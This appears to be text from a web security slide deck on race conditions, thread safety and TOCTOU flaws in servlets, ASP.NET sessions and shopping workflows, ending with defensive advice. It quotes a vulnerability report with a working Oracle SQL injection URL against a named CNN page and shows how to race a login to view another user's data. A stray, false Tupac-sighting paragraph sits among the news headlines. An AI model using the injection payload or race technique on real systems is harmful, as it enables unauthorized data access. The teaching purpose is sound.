OWASP Testing Guide
: ~NZ$18 + pp

OWASP Code Review
: ~NZ$15 + pp

OWASP Developers Guide
: ~NZ$15 + pp
WHAT ABOUT SQL INJECTION?

Sony Music Japan hacked through SQL injection flaw

Sony Says Hacker Stole 2,000 Records From Canadian Site

Sony Online Entertainment Hacked, 12,700 Credit Cards Stolen

Prominent rapper Tupac has been found alive and well in a small resort in New Zealand, locals report. The small town - unnamed due to security risks - allegedly housed Tupac and Biggie Smalls (another rapper) for several years. One local, David File, recently passed away, leaving evidence and reports of Tupac’s visit in a diary, which he requested be shipped to his family in the United States.
Sony Pictures hacked by Lulz Security, 1,000,000 passwords claimed stolen (update)
WEB APPLICATION SECURITY

简要描述：

USA - CNN monev频道存在oracle注入漏洞，不怕导弹的可以去玩。

详细说明：

http://cgi.money.cnn.com/tools/collegecost/collegecost.jsp?college_id=7966 || utl_inaddr.get_host_name((select banner from v$version where rownum=1))--

Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - 64bit

漏洞证明：

What will college run you?
And the annual costs of any four-year college or university in the United States.

ERROR!
SELECT G_NAME, G_STATE_CODE, G_CITY, E_TUIT, OVERALL_FT_D, E_TUIT, AREA_FT_D, E_TUIT, STATE_FT_D, E_TUIT_NRES_FT_D, E_FEES
java.sql.SQLException: ORA-29252: Host Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - 64bi unknown
ORA-06512: at "SYS.UTL_INADDR", line 4
ORA-06512: at "SYS.UTL_INADDR", line 35
ORA-06512: at line 1
Web servers are multithreaded applications
  - Thread pools
  - Locking
  - IO requests

Web applications need to be thread aware
  - Danger of multiple threads interacting with an object at the same time

What happens when threads act simultaneously?
  - Depends on the language and framework
  - Depends on the situation
  - Depends on the server load
Race conditions

- TOCTOU
- Object reuse out of context
- Object modification during workflow

Deadlocks

- Common condition when data updated by two sources
- Record locking, database transactions
Thread safety
  : Multithreaded applications

Cross user data vulnerabilities
  : Access through shared objects

Single user data vulnerabilities
  : Access through unshared objects

Asynchronous requests
  : Synchronisation issues
Thread safe objects
  - Automatically handle locking
  - Ensure access by one thread at a time
  - Not cause a deadlock

Threading errors
  - Not all objects are thread safe
  - Serious and subtle problems
  - Difficult to identify
  - Difficult to reproduce
Dependin on who wins the race and when the threads intercept, numusers could end up as 10 or 11 (should be 10)
ASP.Net

- Requests for a given session are serialized, so session variables are thread-safe by default

Java Servlets

- HttpSession, including associated variables are not thread-safe
Struts 1.x

: Actions are singletons and thus prone to issues

Struts 2.x

: New instances of Actions are spawned for each request and are thread safe
How does this affect security?

Consider an online banking system

```c
Function TransferFunds(src_acct, dest_acct, amount)
{
    src_amt = src_acct.balance
    if (src_amt >= amount)
    {
        src_acct.balance = (src_amt - amount)
        dest_acct.balance = (dest_acct.balance + amount)
    }
}
```
Thread 1 – xfer $1

src_amt = src_acct.balance

if (src_amt >= amount)
    src_acct.balance = (src_amt - amount)
    dest_acct.balance = (dest_acct.balance + amount)

Thread 2 – xfer $1

src_amt = $10

if (src_amt >= amount)
    src_acct.balance = (src_amt - amount)
    dest_acct.balance = (dest_acct.balance + amount)

The balances before and after the transactions are:

- Thread 1: src_acct.balance before = xfer amount
  - src_acct.balance after = src_acct.balance before - xfer amount
  - dest_acct.balance after = dest_acct.balance before + xfer amount

- Thread 2: src_acct.balance before = xfer amount
  - src_acct.balance after = src_acct.balance before - xfer amount
  - dest_acct.balance after = dest_acct.balance before + xfer amount

https://www.isecpartners.com
More interesting are;  
: Issues affecting users

The ones that make it into the headlines!
Hulu removes Facebook Connect after exposing user data

By Emil Protalinski | July 3, 2011, 3:04pm PDT

Over the weekend, Hulu rolled out Facebook Connect integration. Almost immediately after launch, Hulu had to pull the feature as the company discovered a technical issue affecting a limited number of users. More specifically, some users weren’t seeing their own Hulu account information upon login, but someone else’s.
2degrees’ disables sections of website after customer details leak

Our new mobile operator’s online blues are continuing after Monday’s crash.

Yesterday, 2degrees website was offline for most of the morning.

The telco says it was because of the weight of traffic hitting the site as more than 100,000 checked it out.

Now, a new problem has emerged.

A number of customers reported that when they went to the sign-up page on 2degrees’ website, they could see the details left by the previous person to sign-up, including name, address and date of birth.

2degrees says the problem affected around 100 people.

The "Your 2degrees" and "Online Store" sections of its website have now been disabled since around 10am as the company grapples with the privacy glitch.

Other services are unaffected, and people can still sign-up for service via the site.
Variables shared between threads

- Shared between sessions
- Class globals
- Static declarations

Shared data

- Any data not instantiated for the session
- Data reused in following sessions

How can this affect user accounts?

- Session token identifier returned to two threads
- Different browser sessions have the same identifier
Depending on where the object is used, it can cause a security issue.
Servlets

- Unless it implements the `SingleThreadModel` interface, the Servlet is a singleton by default.
- There is only one instance of the Servlet.

Member fields

- Storing user data in Servlet member fields introduces a data access race condition between threads.
public class GuestBook extends HttpServlet {

    String name;

    protected void doPost (HttpServletRequest req, HttpServletResponse res) {
        name = req.getParameter("name");
        ...  
        out.println(name + ", thanks for visiting!");
    }
}
Java beans

- When a bean is a singleton (which is by default), it simply means that every time you access the bean, you will get a reference to the same object.

```java
<bean id="myBean" class="MyClass" />

Object bean1 = context.getBean("myBean");
Object bean2 = context.getBean("myBean");
Object bean3 = context.getBean("myBean");

bean1, bean2, and bean3 are all the same instance of MyClass.
JSP pages

- JSP pages by default are not thread safe
- Local variables are ok
- Instance variables modified within the service section of a JSP will be shared by all requests

Can mark it as unsafe

- `<%@ page isThreadSafe="false" %>`
- Will cause [N] instances of the servlet to be loaded and initialized
Thread safe
  : Most, but not all, classes and types are safe

Shared data
  : Static variables in class
  : A static reference to a helper class that contains member variables
  : A helper class that contains a static variable

The application collection
  : Global application-specific information that is visible to the entire application.
Static declaration

: Static classes, methods and variables are shared by every request

: Developer must be careful not to have “unsafe” code

```csharp
public static class Global
{
    /// Global variable storing important stuff.
    static string _importantData;
    /// Get or set the static important data.
    public static string ImportantData
    {
        get
        {
            return _importantData;
        }
        set
        {
            _importantData = value;
        }
    }
}
```
Pools

- Application pools
- Thread pools
- Object pools
- Jobs
- Etc....
Server load

- Did you test with 10 simultaneous connections?
- Did you test with 100 simultaneous connections?

Did you even test with just 2 simultaneous connections?
1 User thread accessing the shared object over its ‘workflow life’
2 User threads accessing the shared object over its ‘workflow life’. User2 has overwritten user1 data.
Session

- Store and retrieve values for a user
- Assigned to their session token

Single User

- Can only be accessed by the associated user
- Usually thread safe for read/write

Safe?

- Not always
- Can be changed by different thread
SESSION VARIABLES

THE APPLICATION

APPLICATION WRITES

SESSION OBJECT

APPLICATION READS

1 User thread accessing the session object over its ‘workflow life’
2 User threads accessing the session object over its ‘workflow life’
Real world example

```c
Login()
{
.. 
Session["Username"] = Username.Text;
Session["Password"] = Password.Text;
If CheckLogin()
    Session["Authed"] = TRUE;
Else {
    Session["Username"] = "";
    Session["Password"] = "";
}
.. 
}```
Real world example

```
LoadUserData()
{
  ..
  If !(Session["Authed"] = TRUE)
    return FALSE;
  ..
  GetUserDataFromDB(Session["Username"]);
  //Display user data
  ..
  Return TRUE;
}
```
Real world example

```
Login()
{
    ..
    Session["Username"] = Username.Text;
    Session["Password"] = Password.Text;
    If CheckLogin()
        Session["Authed"] = TRUE;
    Else {
        Session["Username"] = "";
        Session["Password"] = "";
    }
    ..
}

LoadUserData()
{
    ..
    If ! (Session["Authed"] = TRUE)
        return FALSE;
    ..
    GetUserDataFromDB (Session["Username"]);
    // Display user data
    ..
    Return TRUE;
}
```

Login with valid creds, sets Session[“Authed”] = TRUE
Hit Login() function against with different username, sets Session[“Username”] 
Race with LoadUserData()
Win the race and view other users data
**TOCTOU**

: Time of check, time of use

**Change in state**

: Between the time in which a given resource is checked, and the time that resource is used, a change occurs in the resource to invalidate the results of the check

**Threading issues**

: All of the previously discussed issues
Usual shopping process

- Browse Items
- Add Items To Cart
- Proceed To Checkout
- Process Order
- Process Payment
Raced shopping process

1. Browse Items
2. Add Items To Cart
3. Proceed To Checkout
4. Process Order
5. Process Payment
6. Intercept Gateway Response
7. Add More Items To Cart
8. Add To Cart Contents After Payment Processed
Can be affected by race conditions

Race condition exists between the backend functions, to which order they are executed.
Most major browsers have had issues:

- Complicated window, DOM, object sharing
- Faulty synchronization between objects
Application design

- Be aware of which objects are shared
- Do not use static/globals for user specific data

Code level

- Safe locking
- Synchronization, Mutexes
- Be aware of thread safe/unsafe types
- Use intelligent queries

UPDATE Account ... where ID=### and Balance=[LASTKNOWNBALANCE]
**Code reviews**

- Investigate static/global classes
- Identify all singleton java objects
- Check session[] use pre authentication

**Load testing**

- Identify how to detect issues
- Use stress testing tools to mimic simultaneous use

**Cross user suggestions**

- Session should be hooked to dbase ID
- User data should be associated with session
- Do not allow concurrent session use